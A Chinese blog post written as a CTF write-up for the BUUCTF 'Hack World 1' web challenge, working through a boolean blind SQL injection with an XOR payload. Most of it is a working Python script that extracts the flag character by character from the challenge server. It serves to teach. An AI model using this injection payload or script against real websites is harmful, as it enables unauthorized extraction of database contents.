• buuctf-web Hack World 1


    我们打开环境后发现这还是一道sql注入题

     我首先随便试了一下,

    先输入了0  显示Error Occured When Fetch Result.

    输入1,显示Hello, glzjin wants a girlfriend.

    2的话是Do you want to be my girlfriend?

    3显示Error Occured When Fetch Result.

    这应该是输入大于2的数据就出错了。我们再进行测试的时候发现它过滤了许多关键字

    然后我在里什么都没输入,直接提交的话会出现bool(false),百度了一手,发现盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。而这种就是布尔的盲注

    布尔型:页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据

    Length()函数 返回字符串的长度
    Substr()截取字符串
    Ascii()返回字符的ascii码
    sleep(n):将程序挂起一段时间 n为n秒
    if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

    这是进行布尔盲注的时候可能需要的一些函数,这时需要运用异或

    然后我们用

    1^1返回的是Hello, glzjin wants a girlfriend.

    1^0返回的是Error Occured When Fetch Result.

    然后我们可以通过上面的那些函数构造Pyload:

    id=1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))

    这样回显就是正确的。

     然后我查看了一手大佬的wp,看了一些人家写的脚本。

    #!/usr/bin/python
    #-*-coding:utf-8 -*-
    import requests
    import re
    
    def flag_get(start,f,url):    #确定start位的字符
        a='1^(if((ascii(substr((select(flag)from(flag)),'+str(start)+',1))='+str(f)+'),0,1))'
        data = {'id': a }
        url = 'http://bd11a3f9-cb7e-4933-9025-12632ffc00d0.node3.buuoj.cn/index.php'
        r= requests.post(url, data)
        s=r.text
        #print(s)
        if 'Hello' in s:
            return 1
        else:
            return 0
    
    def flag_find(start,f,url): #确定
        a='1^(if((ascii(substr((select(flag)from(flag)),'+str(start)+',1))>'+str(f)+'),0,1))'
        data = {'id': a }
        url = 'http://bd11a3f9-cb7e-4933-9025-12632ffc00d0.node3.buuoj.cn/index.php'
        r= requests.post(url, data)
        s=r.text
        #print(s)
        if 'Hello' in s:
            return 1
        else:
            return 0
    
    
    
    if __name__ == '__main__':
        url = 'http://bd11a3f9-cb7e-4933-9025-12632ffc00d0.node3.buuoj.cn/index.php'
        flag_kouhao=125
        flag=''
        num=1       #从第num位开始爆破
        while 1:
            start=32   #ascii的起始范围(10进制)
            last=126   #ascii的终止范围(10进制)
            mid=int((start+last)/2)
            while 1:
                if(flag_get(num,flag_kouhao,url)):
                    flag=flag+'}'
                    print('flag     is    :'+flag)
                    exit(1)
                print('strat is '+str(start))
                print(' mid  is '+str(mid))
                print('last  is '+str(last))
                print('****************************************')
    
                if(flag_find(num,mid,url)):
                    start=mid
                    mid=int((start+last)/2)
                    if ((last-start)<5):
                        break
                else:
                    last=mid
                    mid=int((start+last)/2)
                    if ((last-start)<5):
                        break
            print(start)
            print(last)
            print('****************************************')
            for i in range(start,last+1):
                print(i)
                if(flag_get(num,i,url)):
                    f=chr(i)
                    flag=flag+f
                    print('****************************************')
                    print(' num is '+str(num))
                    print('char is '+f)
                    print('flag is '+flag)
                    print('****************************************')
                    break
            num=num+1    
        print(flag)

    一开始跑的时候提示我

     这样出错了。我也不知为什么。然后百度了一手,然后再试的时候结果就正确了。这一步让我很迷茫其实。

  • 相关阅读:
    c/c++中两颗璀璨的明珠
    deepin软件中心打不开
    shell之rm -rf的别名设置
    历史命令脚本
    mysql之7xtrabackup
    python之3内置容器
    python之第一个例子hello world
    python之安装
    shell脚本练习(autocert)
    【转】nginx之逻辑运算
  • 原文地址:https://www.cnblogs.com/awsole/p/13835136.html
Copyright © 2020-2023  润新知